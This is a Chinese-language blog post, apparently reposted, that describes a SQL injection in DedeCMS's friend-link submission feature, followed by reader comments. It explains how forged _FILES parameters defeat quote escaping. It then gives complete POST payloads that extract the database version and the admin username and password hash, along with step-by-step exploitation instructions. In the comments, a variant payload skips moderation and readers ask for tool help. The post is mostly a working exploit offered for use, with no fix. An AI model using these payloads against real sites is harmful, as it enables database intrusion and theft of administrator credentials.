DedeCMS另一处全版本通杀SQL注入

作者：没穿底裤
发布时间： 2014 年 04 月 15 日
9535次浏览
30 条评论
分类： PHP

common.inc.php 这里开始过滤得很完整，往下看 //转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数

if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}

uploadsafe.inc.php //29行

 $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);

能绕过 GPC plus\flink.php 虽然都经过 htmlspecialchars 我们看看：

htmlspecialchars(string,quotestyle,character-set)

可选。规定如何编码单引号和双引号。 ENT_COMPAT - 默认。仅编码双引号。 ENT_QUOTES - 编码双引号和单引号。 ENT_NOQUOTES - 不编码任何引号。默认情况下仅编码双引号。这里不是重点，不过也是能利用的条件之一，用于绕过dede自带的ids。构造webname 值为：

&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

这里解释一下，经过GPC后 webname 变为 pass\\ 经过刚才 uploadsafe.inc.php 的函数后 webname 变为 pass\ 插入到SQL语句中就变成了

INSERT INTO `#@__flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck) VALUES('50','http://','pass\','

即吃掉了后面的 ' ，从而实现绕过GPC。不过ExecuteNoneQuery不支持错误回显，那我们就构造好，让他显示出来吧。于是后面的logo函数就变成：

logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`

ischeck 为1即绕过审核，结果直接显示出来。完整参数为：查版本：

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

查密码：

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

利用过程：一：网站要支持申请友链 url:/plus/flink_add.php

=--------------------------------------------------------利用开始-------------------------- 直接填写验证码，抓包修改POST数据写人exp:

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

validate为验证码，修改提交即可

再打开友情链接 url:plus/flink.php 有个无法显示的图片，查看源码.ok

利用工具网上找的，不保证安全有效

30 条评论

26 December, 2017 19:19 R11; Anita Kluman Online
2017 年 12 月 27 日 03 时 26 分 AM

[...]MISC[...]

回复
SB17-359: Vulnerability Summary for the Week of December 18, 2017 R11; Opsfolio
2017 年 12 月 26 日 10 时 35 分 PM

[...]CVE-2017-17730MISC[...]

回复
CVE-2017-17730 R11; 安百科技
2017 年 12 月 19 日 08 时 01 分 AM

[...]http://0day5.com/archives/1542/[...]

回复
呵呵
2015 年 01 月 10 日 03 时 27 分 PM

站长脾气很好啊，要是谁这么问我我早就崩溃了。

回复
1. 0day5
  2015 年 01 月 12 日 07 时 18 分 AM
  
  @呵呵
  不是脾气好，是大牛们太多了。不小心就被干死了~
  
  回复
求指教
2014 年 11 月 12 日 01 时 11 分 AM

我用Fiddler2抓包，抓完以后怎么修改？？？求教

回复
1. 0day5
  2014 年 11 月 13 日 06 时 40 分 PM
  
  @求指教
  本站的文章都大多源自网络.并不是都是原创。实际上测试的也不是很多·再说这么多，又不是专职做这个。不可能一一测试
  
  回复
网络兼职
2014 年 11 月 03 日 08 时 38 分 AM

网站很不错，无意间发现的，支持一下

回复
冷笑话
2014 年 09 月 09 日 07 时 45 分 PM

无意间发现的网站很不错挺喜欢的

回复
1. 0day5
  2014 年 09 月 14 日 11 时 28 分 AM
  
  @冷笑话
  谢谢你的关注~感谢支持
  
  回复
heihui
2014 年 08 月 17 日 08 时 26 分 PM

火狐有个插件能提交post数据的插件叫什么，:smile:

回复
1. 0day5
  2014 年 08 月 20 日 10 时 51 分 PM
  
  @heihui
  hackbar
  
  回复
神兽Helen
2014 年 04 月 26 日 01 时 11 分 AM

楼上全是逗比

回复
1. 0day5
  2014 年 04 月 26 日 09 时 41 分 AM
  
  @神兽Helen
  逗逼
  
  回复
junsys
2014 年 04 月 23 日 05 时 01 分 PM

貌似不能绕过审核

回复
工具怎么用
2014 年 04 月 19 日 03 时 39 分 PM

抓包工具怎么用

回复
你好
2014 年 04 月 17 日 07 时 30 分 PM

验证码不知道怎么抓

回复
1. 0day5
  2014 年 04 月 19 日 04 时 20 分 PM
  
  @你好
  validate为验证码，修改提交即
  
  回复
你好
2014 年 04 月 16 日 04 时 49 分 PM

希望有详细的教程

回复
1. 0day5
  2014 年 04 月 17 日 12 时 14 分 PM
  
  @你好
  过程差不多比较详细的了，你再测试测试
  
  回复
123
2014 年 04 月 15 日 05 时 59 分 PM

:lol: :mad: :twisted: :roll:

回复
123
2014 年 04 月 15 日 05 时 42 分 PM

抓包工具是什么你的Q是多少。可以加我一下吗

回复
1. 0day5
  2014 年 04 月 15 日 09 时 39 分 PM
  
  @123
  fiddler
  
  回复
xx
2014 年 04 月 15 日 04 时 39 分 PM

貌似没有绕过审核啊

回复
littleGee
2014 年 04 月 15 日 12 时 56 分 PM

绕过管理审核 >> Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&ischeck=1&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\ <<

回复
1. 123
  2014 年 04 月 17 日 03 时 10 分 AM
  
  @littleGee
  貌似没有一个成功的啊。可否指点一下
  
  回复
  1. 0day5
    2014 年 04 月 17 日 12 时 12 分 PM
    
    @123
    妹的，我只是做分享的，没义务都去一一测试吧，本就是转载的，就如你所说，转载不完全的。没成功和我没关系塞，修复了，你的姿势不对..
    
    回复
2. huihui
  2014 年 04 月 16 日 10 时 08 分 AM
  
  @littleGee
  绕不过去
  
  回复
  1. 0day5
    2014 年 04 月 17 日 12 时 12 分 PM
    
    @huihui
    建议本地测试先
    
    回复
3. 123
  2014 年 04 月 15 日 07 时 29 分 PM
  
  @littleGee
  可以吗？
  
  回复